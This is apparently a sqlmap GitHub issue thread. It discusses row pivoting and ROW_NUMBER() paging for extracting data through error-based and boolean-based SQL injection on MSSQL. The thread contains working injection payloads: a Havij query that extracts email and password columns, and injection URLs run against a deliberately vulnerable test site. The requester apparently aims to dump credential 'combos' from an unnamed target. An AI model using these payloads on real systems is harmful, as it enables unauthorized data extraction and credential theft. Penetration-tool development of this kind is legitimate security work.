Retrieving and duplication

[Victorilo]

I want to dump data from a MSSQL database
http://taget.com/target.php?ID=1
Sqlmap find out the injection type
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
however i couldn't start dumping from a specific row like -start 28000, sqlmap have to retrieve every row untill 27999 and then reach that however by using havij with this query select+top+28000+ could inject the specific row not need any retrieving prior rows.
another problem with retrieving which occurs sometime is retrieving an specific row for 10000 times which after dumping i have 10000 duplicated rows

[klensy]

Hi.

1. Version?
2. sqlmap command line u use?

[Victorilo]

Hi
Microsoft SQL Server 2008
Common command and nothing else

[stamparm]

In case of MsSQL something called "pivoting column" is being used. There is no way how to retrieve "row 28000" as there is no LIMIT m,n mechanism in MsSQL. Hence, you can say that one column is "pivot" (e.g. columns like DISTINCT INT are best candidates) and then retrieve all values of it, so you could retrieve other column values based on that same pivot value retrieved in step before.

Now, without further ado I am really trying to find anything useful from your report. Please rerun everything with -v 3 and -t traffic.txt and try to find what is going on.

p.s. as a first step maybe you could try to use --pivot-column and try to set it to some INT column from dumped table

[ron190]

You can consider ROW_NUMBER() in place of LIMIT on SQL Server.

[Victorilo]

Dear , i couldn't still get the specific row but with havij without retrieving the prior rows could inject the 53004th rows which i could find out havij query which is this :

convert(int,(char(82)+char(33)+(select+top+1+isnull([email],char(32))+char(94)+isnull([password],char(32))+from+(select+top+53004+[email],[password]+from+[Table_target]+order+by+[email]+asc)+sq+order+by+[email]+desc)+char(33)+char(82)))+and+1=1
and another problem which said is sqlmap retrieve the 53000th rows but stuck in a circle and every time retrieve that and at the end when i press ctrl+c i have 100000 combo which 47000 of them is the same

[stamparm]

@ron190 ROW_NUMBER is wrong approach.

https://technet.microsoft.com/en-us/library/ms186734(v=sql.110).aspx

There is no guarantee that the rows returned by a query using ROW_NUMBER() will be ordered exactly the same with each execution

[ron190]

You are right, the order can change over time on certain conditions.

This SO discussion by SQL guys like Lukas Eder is interesting on the subject. They are talking about when a database is upgraded to a new version of SQL Server, adding or removing an index, installing a service pack, partitioning a table. So I guess you shouldn't use ROW_NUMBER() if your application requires to keep the same order over the years.

But for short tasks like SQL injection, SQL queries like this one should be consistent all along the injection process:

SELECT *
FROM (
    SELECT
        name,
        ROW_NUMBER() OVER (ORDER BY(SELECT 1)) AS rnum 
    FROM
        master..sysdatabases
) x
WHERE rnum BETWEEN 2 AND 3

The second thing to know with ROW_NUMBER() is that it can redefine order from subquery if used in outer query, again not really relevant for an injection job (e.g it displays 1,2,3,4 instead of 4,3,2,1):

SELECT v, ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) RN
FROM (
    SELECT TOP 100 PERCENT 1 UNION ALL
    SELECT TOP 100 PERCENT 2 UNION ALL
    SELECT TOP 100 PERCENT 3 UNION ALL
    SELECT TOP 100 PERCENT 4
    -- This descending order is not maintained in the outer query
    ORDER BY 1 DESC
) t(v)

[stamparm]

@ron190 just leaving here for future me:

Database: acuforum
Table: forums
[3 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 0  | Acunetix Web Vulnerability Scanner |
| 1  | Weather                            |
| 2  | Miscellaneous                      |
+----+------------------------------------+

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT id FROM (SELECT id, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=1)=0

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT name FROM (SELECT name, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=1)='Acunetix Web Vulnerability Scanner'

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT id FROM (SELECT id, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=2)=1

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT name FROM (SELECT name, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=2)='Weather'

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT id FROM (SELECT id, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=3)=2

http://testasp.vulnweb.com/showforum.asp?id=1 AND (SELECT name FROM (SELECT name, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM acuforum.dbo.forums) x WHERE LIMIT=3)='Miscellaneous'

[stamparm]

Done